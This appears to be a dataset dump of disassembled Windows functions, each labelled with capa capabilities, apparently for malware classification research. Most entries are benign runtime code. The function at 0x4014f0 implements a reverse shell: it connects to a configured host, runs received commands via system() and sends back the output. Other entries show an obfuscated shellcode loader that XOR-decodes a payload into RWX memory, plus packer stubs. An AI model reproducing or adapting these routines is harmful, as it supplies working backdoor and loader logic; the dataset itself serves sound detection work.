joyce8/EMBER2024-capa huggingface dataset:
Function at 0x68652420
Capabilities:
Get file attributes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x33c
mov ebx, dword [esp + 0x350]
call sym.__errno
test ebx, ebx
mov dword [eax], 0
je 0x68652655
cmp word [ebx], 0
je 0x68652617
mov eax, dword [sym.imp.msvcrt.dll__osver]
cmp word [eax], 0
js 0x68652553
mov dword [esp], ebx
call sym._GetFileAttributesW_4
sub esp, 4
cmp eax, 0xffffffff
je 0x68652631
test al, 0x10
je 0x68652617
lea ebp, [esp + 0x24]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], ebp
call sym.__wfullpath
mov dword [esp], ebp
call sym._wcslen
mov dword [esp], 0x686a1f1c
mov ebx, eax
call sym._wcslen
mov dword [esp], 0x686a1f20
mov esi, eax
call sym._wcslen
lea edx, [esi + ebx + 0x21d]
lea eax, [edx + eax]
add eax, eax
mov dword [esp], eax
call sym._malloc
test eax, eax
mov ebx, eax
mov esi, eax
je 0x68652643
lea edi, [eax + 0x434]
mov dword [esp + 4], ebp
mov dword [esp], edi
call sym._wcscpy
cmp word [ebx + 0x434], 0
jne 0x686525b0
mov dword [esp], edi
mov dword [esp + 4], 0x686a1f20
call sym._wcscat
lea edx, [esi + 0x224]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esi + 0x42c], 0xffffffff
mov dword [esi + 0x430], 0
mov dword [esi + 0x21c], 0
mov word [esi + 0x220], 0
mov word [esi + 0x222], 0
add esp, 0x33c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
lea esi, [esp + 0x22c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x104
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._WideCharToMultiByte_32
sub esp, 0x20
mov dword [esp], esi
call sym._GetFileAttributesA_4
sub esp, 4
jmp 0x68652468
mov dword [esp + 4], 0x2f
mov dword [esp], edi
call sym._wcsrchr
mov dword [esp], edi
mov ebp, eax
call sym._wcslen
lea eax, [ebx + eax*2 + 0x432]
cmp ebp, eax
je 0x686524f5
mov dword [esp + 4], 0x5c
mov dword [esp], edi
call sym._wcsrchr
mov dword [esp], edi
mov ebp, eax
call sym._wcslen
lea eax, [ebx + eax*2 + 0x432]
cmp ebp, eax
je 0x686524f5
mov dword [esp + 4], 0x686a1f1c
mov dword [esp], edi
call sym._wcscat
jmp 0x686524f5
call sym.__errno
xor ebx, ebx
mov dword [eax], 0x14
add esp, 0x33c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call sym.__errno
xor ebx, ebx
mov dword [eax], 2
jmp 0x68652546
call sym.__errno
mov dword [eax], 0xc
nop
jmp 0x68652546
call sym.__errno
mov dword [eax], 0xe
jmp 0x68652546
Function at 0x1001d308
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1001d317
pop dword [ebp - 0xc]
mov eax, 0x2a233bbc
add eax, 0xe5de975b
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xc943648d
add dword [ebp - 0x1c], 0x850ee0be
mov dword [ebp - 0x18], 0x7641c560
add dword [ebp - 0x18], 0xbbf186e5
mov dword [ebp - 0x14], 0xbd473a0
add dword [ebp - 0x14], 0x4077d08e
mov dword [ebp - 0x10], 0x619c6d5f
add dword [ebp - 0x10], 0x9e6392a1
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xe81dcfc3
add eax, 0x27e42085
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xc3e54ad7
sub dword [ebp - 0x1c], 0x4f72e181
mov dword [ebp - 0x18], 0x7fec6d44
add dword [ebp - 0x18], 0xc17ff431
mov dword [ebp - 0x14], 0x16114b7d
add dword [ebp - 0x14], 0x4d5e20ef
mov dword [ebp - 0x10], 0xad241d63
sub dword [ebp - 0x10], 0xad241d63
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x8036c650
sub eax, 0x7034d604
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3dedc
push 0
call eax
mov ecx, 0x23ec214b
sub ecx, 0x23ebd8a8
xor edi, edi
add edi, eax
mov ebx, 0x1002ac00
add ebx, dword [ebp - 0xc]
mov esi, 0xe33edc61
add esi, 0xef4e9b29
xor dword [ebp - 8], 0xa774ec3d
mov edx, dword [ebx]
xor dword [ebp - 8], 0x7f89e545
xor edx, esi
xor dword [ebp - 8], 0x1e40ce5d
mov dword [edi], edx
mov dword [ebp - 4], 0x24b28992
add edi, 0xcca3b70d
sub edi, 0xcca3b709
add ebx, 0x7d39d824
sub ebx, 0x7d39d820
loop 0x1001d435
add eax, 0x85a8681f
sub eax, 0x85a752c0
mov ebx, eax
add eax, 0xc49e3a06
sub eax, 0xc49e3a01
mov ecx, 0x635aec2b
add ecx, 0xaca513d5
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x1001d7ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10026200]
jne 0x1001d7b6
repz ret
jmp fcn.1001dc29
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406054], 1
mov dword [0x406050], 1
mov dword [0x40604c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40605c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x4014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x12e4
call fcn.004026b0
sub esp, eax
call dbg.__main
lea eax, [ebp - 0x1a4]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [ebp - 0x12bb], 0x6c656873
mov dword [ebp - 0x12b7], 0x203a6c
mov dword [esp + 4], 0x404044
mov dword [esp], str.hosts.conf
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401573
mov dword [esp], str.hosts.conf_not_found
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xf
lea eax, [ebp - 0x12b3]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov word [ebp - 0x12cc], 2
mov dword [esp], 0x1f40
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x12ca], ax
lea eax, [ebp - 0x12b3]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x12c8], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40161f
mov dword [esp], str.erro_de_rede
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x12cc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401662
mov dword [esp], str.servidor_offline
call sym._perror
mov dword [esp], 1
call sym._exit
lea eax, [ebp - 0x12bb]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x12bb]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x100
lea edx, [ebp - 0x12a4]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
lea eax, [ebp - 0x12a4]
mov dword [esp], eax
call sym._system
lea eax, [ebp - 0x11a4]
mov dword [esp], eax
call sym._strlen
sub eax, 1
mov byte [ebp + eax - 0x11a4], 0
lea eax, [ebp - 0x11a4]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x11a4]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x401662
Function at 0x401990
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4019f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x401b10
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401a24
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401aa7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401a10
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401b37
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b17
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401aa0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401ab0
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401aa0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401a2e
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x402050
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x4020a5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40209e
test esi, esi
je 0x40209e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402080
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4023e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402405
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402410
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402405
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402458
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40244e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40245a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402440
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40149d
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x472eb0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x401532
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x4014ef
cmp dword [ebp + 0x10], ebx
jne 0x401526
push ebx
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 4]
call fcn.0040149d
test eax, eax
jne 0x401501
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014d6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.0040645d
cmp eax, ebx
je 0x401539
push ebx
push dword [0x472eb0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x401532
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x472eb0], ebx
jne 0x40152f
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
adc eax, sym.imp.ADVAPI32.dll_RegDeleteKeyW
test eax, eax
jne 0x40152f
jmp 0x401532

Function at 0x4015a0
Capabilities:
Create directory
Get file attributes
Move file
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ac
mov eax, dword [0x472dd4]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 7
pop ecx
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov esi, edx
mov edi, ecx
imul esi, esi, 0x4008
imul edi, edi, 0x4008
mov dword [ebp - 0xc], eax
invalid
add byte [eax], dh

Function at 0x401788
Capabilities:
Set file attributes

Disassembly:
push dword [ebp - 0x28]
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne case.0x4015fa.70
mov dword [ebp - 4], 1
push str.SetFileAttributes_failed.
call fcn.00406404
Function at 0x441c9a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00441838

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
nop
push 1
nop
pop eax
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
sub ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
push esi
pop edi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
push edi
pop ecx
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x414de6
Capabilities:
Encode data using xor

Disassembly:
xor dword [edx], ecx
sub eax, ebx
and ebx, ebx
sub eax, 0x5553559d
add edx, 4
mov esi, ebx
inc eax
cmp edx, edi
jne fcn.00414de6
ret
Function at 0x407120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4000]
push edi
jmp 0x40713a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407141
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407130
mov eax, 1
add ebx, ebx
jne 0x407153
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407148
jne 0x407164
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407148
xor ecx, ecx
sub eax, 3
jb 0x407178
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4071ea
mov ebp, eax
add ebx, ebx
jne 0x407183
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407190
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4071b4
inc ecx
add ebx, ebx
jne 0x4071a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407195
jne 0x4071b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407195
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4071d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4071c5
jmp 0x407136
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4071d4
add edi, ecx
jmp 0x407136
pop esi
mov edi, esi
mov ecx, 0x1e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4071f2
cmp byte [edi], 1
jne 0x4071f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4071f7
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x407266
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x720c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x725c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407224
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7264]
or eax, eax
je 0x407260
mov dword [ebx], eax
add ebx, 4
jmp 0x407241
call dword [esi + 0x7260]
mov ebp, dword [esi + 0x7268]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40729a
sub esp, 0xffffff80
jmp 0x403331
Function at 0x4062f1
Capabilities:
Access the windows event log

Disassembly:
push 0x30
mov eax, 0x42aec1
call fcn.00407223
mov eax, dword [ebp + 0x18]
lea ecx, [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x20], 0xf
cmp dword [ebp + 0x1c], 8
lea esi, [ebp + 8]
mov dword [ebp - 4], ebx
cmovae ecx, dword [ebp + 8]
cmovae esi, dword [ebp + 8]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
lea edi, [ecx + eax*2]
mov dword [ebp - 0x14], ebx
mov eax, edi
mov dword [ebp - 0x34], ebx
sub eax, esi
mov dword [ebp - 0x24], ebx
sar eax, 1
lea ecx, [ebp - 0x34]
push eax
call fcn.00405872
mov byte [ebp - 0x38], bl
lea ecx, [ebp - 0x34]
push dword [ebp - 0x38]
push edi
push esi
call fcn.00401f2e
push str.MsiInstaller
push ebx
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov esi, eax
test esi, esi
je 0x40639c
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push 3
push ebx
push 0x2dbc
push ebx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x1c], str.Trellix_Agent_installation_failed_because_it_detected_the_following_products_as_incompatible_with_this_version_:__2___3
cmovae ecx, dword [ebp - 0x34]
push 1
push esi
mov dword [ebp - 0x18], str.MAR_____1000
mov dword [ebp - 0x14], ecx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov eax, dword [ebp - 0x20]
cmp eax, 0x10
jb 0x4063d3
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
cmp eax, 0x1000
jb 0x4063ca
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.004037ee
mov eax, dword [ebp - 0x3c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.004071a2
pop ecx
pop ecx
lea ecx, [ebp + 8]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
call fcn.004046d1
call fcn.004071d2
ret

Function at 0x41e7a0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e616

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4039ea
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_AnimatePalette]
xor ebx, ebx
push ebx
mov eax, 0x9c818068
push eax
push eax
push ebx
call edi
mov esi, eax
and esi, 0x68
imul esi, dword [ebp + 0x10]
and esi, dword [ebp + 0x18]
push ebx
mov eax, 0xebabea96
push eax
push eax
push ebx
xor esi, 0xc
call edi
mov ecx, eax
lea eax, [esi + 0x51b]
and ecx, 0x442
or ecx, 0x8d65ba2c
xor edx, edx
div ecx
push ebx
lea esi, [edx + 0x4d84a0a4]
imul esi, dword [ebp + 0x1c]
xor esi, dword [ebp + 0x14]
imul esi, esi, 0x13
sub esi, dword [ebp + 0x20]
add esi, dword [ebp + 8]
xor esi, dword [ebp + 0xc]
and esi, dword [ebp + 0x24]
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
and eax, 0x66ff
pop edi
or eax, esi
pop esi
xor eax, 0x1f713420
pop ebx
pop ebp
ret
Function at 0x404ac4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403b4b
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.msvcrt.dll_exit]
leave
ret 0x10